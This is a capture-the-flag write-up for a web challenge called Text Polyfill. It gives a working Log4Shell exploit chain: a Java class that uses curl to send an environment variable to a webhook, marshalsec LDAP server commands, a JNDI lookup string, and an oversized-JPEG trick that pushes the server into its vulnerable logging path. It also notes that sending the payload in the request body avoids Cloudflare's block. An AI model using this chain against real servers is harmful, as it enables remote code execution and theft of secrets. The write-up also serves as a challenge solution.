👨‍🎨 Text Polyfill

- name: 👨‍🎨 Text Polyfill
- solves: 18
- points: 320
- categories
  - web
- attachments
  - `text-polyfill_.zip`

> **WEB // 👨‍🎨 Text Polyfill (Score: 320 / Solves: 18)**
>
> We feel your pain. You love to generate art with AI, but hate the fact it can't put simple text on your pictures. Well... Fear no more. Our simple website allows to add any text to your AI generated images without a hassle. Enjoy!
>
> - https://text-polyfill-982935551e3a.1753ctf.com/
> - https://dl.1753ctf.com/text-polyfill/?s=DxzafMfy

solution

Create a Java file that sends the `flag` environment variable to a webhook, and save the file as `foo.java`:

```java
public class foo {
  static {
    try {
      Runtime.getRuntime().exec(new String[] { "curl",
"https://webhook.site/33295a37-d040-49dc-9be2-47623f59931f",
          "-d", String.valueOf(System.getenv("flag")) });
    } catch (Exception e) {
      e.printStackTrace();
    }
  }
}
```

Serve that file using LDAP. Download the LDAP server from https://github.com/RandomRobbieBF/marshalsec-jar.git (which is compiled from https://github.com/mbechler/marshalsec). Compile the file and launch the LDAP server:

```
javac foo.java -source 8 -target 8
python -m http.server
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer
"http://(your external IP):8000/#Exploit"
```

Upload a blank JPEG image of width 39984, height 29984, and with 4 color channels, with the text `${jndi:ldap://(your external IP):1389/foo}`:

```
with post(
    "https://text-polyfill-982935551e3a.1753ctf.com/process",
    data={
        "text": "${jndi:ldap://(your external IP):1389/foo}",
    },
    files={
        "image": Path("image.jpg").read_bytes(),
    },
) as res:
    print(res.status_code)
```

After a while, the flag should appear in your webhook. The flag is `1753c{generate_text_to_get_an_epic_rce}`.

process

When we enter the website, we find that we can input an image and some text, and the server will return an image with the text on it.

So we want to find the server code and see if there is anything to exploit. The server code is `text-polyfill_/src/main/java/com/ctf/ImageTextServer.java`. Only `doPost` is relevant because it is the only place where we can input custom data. So the exploit must be there.

Also, from the source, the flag is in an environment variable, so we would need some run some arbitrary code to get the flag. However, it is at this point, where one must use one's knowledge to find the exploit. At first, you can't find a location that can execute arbitrary code. But if you know that Java had had several vulnerabilities involving logging, then you can infer that the logging code is the exploitable part. Checking `text-polyfill_/pom.xml` confirms the exploit, as the Log4j version `2.14.1` is exploitable.

However, the only place where the logger is used is in the exception handler that catches `Exception`, and before that is another exception handler that catches `IOException`:

```
try {
    // ...
} catch (IOException e) {
    response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
} catch (Exception e) {
    logger.error("Error processing image with text: " + text);
    response.setStatus(HttpServletResponse.SC_INTERNAL_SERVER_ERROR);
}
```

So we need to find a way to trigger a non-`IOException` `Exception`. Looking at the official docs of each method, does not help, however, as either the exception is a subclass of `IOException`, or the exception is not trigger-able. At this point, you would also need some prior experience to think that there might be some undocumented exceptions, which is triggered by pushing the limits of the methods... In this case, it turns out if your JPEG image dimension is large enough, `ImageIO.read` would error out with an non-`IOException` with the message `Invalid scanline stride`. Also see https://bugs.openjdk.org/browse/JDK-8272998.

So we need to make an extremely large JPEG image. Using Python in our case:

```
cv2.imwrite("image.jpg", np.zeros((39984, 29984, 4)))
```

And then upload that to the server. This will now trigger the logger. You can check whether it is working by logging `${jndi:ldap://(external IP)}`, which will trigger a DNS request. So use a DNS logger.

Next step is exploiting Log4shell. After some research online, you should know one way to exploit Log4shell for arbitrary code execution:

You need to log the text `${jndi:ldap://(your external IP):1389/foo}`. Then the server will connect to `(your external IP):1389/foo`. Now, if you host a LDAP server there that redirects the request to another URL that has a Java class file, the server will run that Java class file. So if that other URL is also our own server: `(your external IP):8000/foo.class`, then we can execute arbitrary code on the server.

So that explains the setup in [§ solution](). All that is left is making your own code payload to grab the flag and send it to a webhook and hosting a server. It is still very troublesome though.

One thing to note though. The text is obtained in the server using this code:

```
String text = request.getParameter("text");
```

In turns out it will check both the URL query parameters and the request payload. If you think it only checks the URL parameters, then you would have some fun with Cloudflare. If you send the JNDI text through the URL parameters, Cloudflare would block your request. This is because their server is using Cloudflare. It's very difficult to bypass it. So don't be me and spend a bit of time on trying to bypass Cloudflare, not knowing that sending the JNDI text through the request payload also works.